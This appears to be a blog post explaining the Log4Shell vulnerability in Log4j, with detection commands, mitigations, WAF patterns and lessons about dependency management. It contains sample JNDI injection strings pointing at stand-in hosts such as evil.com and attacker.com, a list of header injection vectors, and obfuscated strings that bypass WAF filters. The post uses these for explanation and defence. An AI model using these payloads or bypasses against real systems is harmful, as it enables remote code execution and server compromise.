Log4j: The Worst Java Vulnerability in Years

security java

A critical vulnerability in Log4j—a ubiquitous Java logging library—sent the industry scrambling. Log4Shell (CVE-2021-44228) earned a maximum CVSS score of 10.0. Here’s what happened and what it means.

What is Log4j?

Log4j is Apache’s Java logging framework. It’s everywhere:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class MyApp {
    private static final Logger logger = LogManager.getLogger(MyApp.class);
    
    public void handleRequest(String userInput) {
        logger.info("Processing request: " + userInput);
    }
}

Installed in millions of Java applications, from enterprise software to Minecraft servers.

The Vulnerability

Log4j supports JNDI lookups in log messages:

// What Log4j does when it sees this in a logged string:
// ${jndi:ldap://attacker.com/exploit}

// It actually:
// 1. Parses the ${...} expression
// 2. Makes a network request to attacker.com
// 3. Downloads and executes arbitrary code

The Attack

Attacker                    Victim Server                   LDAP Server
   │                              │                              │
   ├── HTTP request with ─────────▶                              │
   │   ${jndi:ldap://evil/a}      │                              │
   │   in User-Agent header       │                              │
   │                              │                              │
   │                              ├── Log4j logs the header      │
   │                              │                              │
   │                              ├── Parses JNDI expression ────▶
   │                              │                              │
   │                              │◀─── Downloads malicious ─────┤
   │                              │      Java class             │
   │                              │                              │
   │                              ├── EXECUTES ARBITRARY CODE    │

One malicious string = complete server compromise.

Attack Vectors

Any logged user input becomes a vector:

User-Agent: ${jndi:ldap://evil.com/a}
X-Forwarded-For: ${jndi:ldap://evil.com/a}
POST body: {"name": "${jndi:ldap://evil.com/a}"}
Username field: ${jndi:ldap://evil.com/a}

Attackers sprayed this everywhere. Even Minecraft chat.

Impact

CVSS Score: 10.0 (Critical)

Who Was Affected

Everyone using Log4j 2.0-beta9 to 2.14.1:

Detection

Check Your Dependencies

# Find Log4j in Maven projects
grep -r "log4j" pom.xml

# Check for vulnerable versions
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>  <!-- VULNERABLE -->
</dependency>

Transitive Dependencies

The real challenge—Log4j pulled in by other libraries:

# Maven dependency tree
mvn dependency:tree | grep log4j

# Gradle
gradle dependencies | grep log4j

Runtime Detection

# Find jar files
find / -name "log4j*.jar" 2>/dev/null

# Check version in JAR
unzip -p path/to/log4j-core-*.jar META-INF/MANIFEST.MF | grep Implementation-Version

Mitigation

Immediate Fixes

# Option 1: Upgrade Log4j to 2.17.1+
<version>2.17.1</version>

# Option 2: Remove JndiLookup class
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

# Option 3: Set system property (partial mitigation)
-Dlog4j2.formatMsgNoLookups=true

Defense in Depth

┌─────────────────────────────────────────┐
│ WAF: Block ${jndi patterns              │
├─────────────────────────────────────────┤
│ Network: Block outbound LDAP            │
├─────────────────────────────────────────┤
│ Application: Upgrade Log4j              │
├─────────────────────────────────────────┤
│ Monitoring: Detect exploitation attempts│
└─────────────────────────────────────────┘

WAF Rules

# Block common patterns
.*\$\{j.*n.*d.*i.*:.*
.*\$\{lower:j.*
.*\$\{upper:j.*

But attackers found bypasses:

${${lower:j}ndi:ldap://...}
${${::-j}${::-n}${::-d}${::-i}:ldap://...}

Lessons Learned

Supply Chain Security

One library in your dependency tree can compromise everything:

Your App
└── Framework A
    └── Library B
        └── Log4j  ← Vulnerable

Logging Considered Harmful

// Pre-Log4Shell mentality:
logger.info("User logged in: " + username);
// "It's just logging, what could go wrong?"

// Post-Log4Shell:
// NEVER trust logged data
// Sanitize everything
// Logging libraries need security review

Upgrade Hygiene

## Lessons
- [ ] Maintain SBOM (Software Bill of Materials)
- [ ] Track all dependencies, including transitive
- [ ] Have an upgrade path for critical patches
- [ ] Monitor security advisories

Feature Creep

Log4j’s JNDI lookup feature was powerful but rarely needed. The attack surface exceeded the utility.

Long-Term Changes

Dependency Management

# Renovate / Dependabot config
{
  "vulnerabilityAlerts": {
    "enabled": true
  },
  "schedule": ["every weekend"]
}

SBOM Requirements

Post-Log4j, organizations are mandating SBOMs:

Security Defaults

Libraries should be secure by default:

Timeline

Nov 24, 2021  - Vulnerability reported to Apache
Dec 1, 2021   - Minecraft servers compromised
Dec 9, 2021   - CVE published
Dec 10, 2021  - Mass exploitation begins
Dec 13, 2021  - Patch 2.16.0 released
Dec 17, 2021  - Patch 2.17.0 released
...           - Continued patches and bypasses

The scramble lasted weeks.

Final Thoughts

Log4Shell was a perfect storm:

It changed how we think about dependencies. The next Log4j is already in your dependency tree—you just don’t know which one yet.

Maintain your SBOM. Patch quickly. Trust nothing.


The most dangerous things are the ones you forget to worry about.

All posts